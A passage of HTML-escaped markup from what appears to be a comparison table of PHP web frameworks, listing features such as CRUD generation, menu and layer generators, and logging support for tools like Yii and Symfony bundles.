via dependency injection
instead&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;has built in Openbiz Appbuilder&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;CLI&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Yii CLI, Gii (Web based)&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_24&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;Module Studio&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v25_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v25_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v25_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v25_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Layer generator&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; DoctrineBundle, PropelBundle&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_25&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v26_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v26_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v26_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v26_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Menu generator&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_26&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v27_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v27_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v27_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v27_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
CRUD generation&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; Evolugrid and BCE&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; SensioGeneratorBundle&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_27&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr class=&quot;odd&quot;&gt;&lt;th class=&quot;&quot; id=&quot;v28_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v28_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v28_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v28_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
Logging management&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v53_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v54_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v55_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v56_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v57_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v58_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v59_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; PSR-3 compliant&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v60_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v61_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v62_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v63_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v64_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v65_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v66_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v67_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;b class=&quot;scYes&quot;&gt;Yes&lt;/b&gt; PSR-3 compliant&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v68_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v69_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v70_28&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;th class=&quot;&quot; id=&quot;v29_1&quot;&gt;&lt;dfn class=&quot;l&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;r&quot;&gt;&lt;/dfn&gt;&lt;br /&gt;
&lt;div class=&quot;actions&quot;&gt;
&lt;dfn class=&quot;move&quot; title=&quot;Drag-and-drop to reorganize rows or columns&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;scHide action scact-50 sca-v29_1-e&quot; title=&quot;Hide&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;suggest action scact-52 sca-v29_1-e&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;dfn class=&quot;sort action scact-51 sca-v29_1-e&quot; title=&quot;sort&quot;&gt;&lt;/dfn&gt;&lt;/div&gt;
User interface&lt;/th&gt;&lt;td class=&quot;&quot; id=&quot;v45_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v46_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v47_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v48_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v49_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v50_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v51_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; title=&quot;Suggestion&quot;&gt;&lt;/dfn&gt;&lt;/td&gt;&lt;td class=&quot;&quot; id=&quot;v52_29&quot;&gt;&lt;dfn class=&quot;suggest action scact-52&quot; 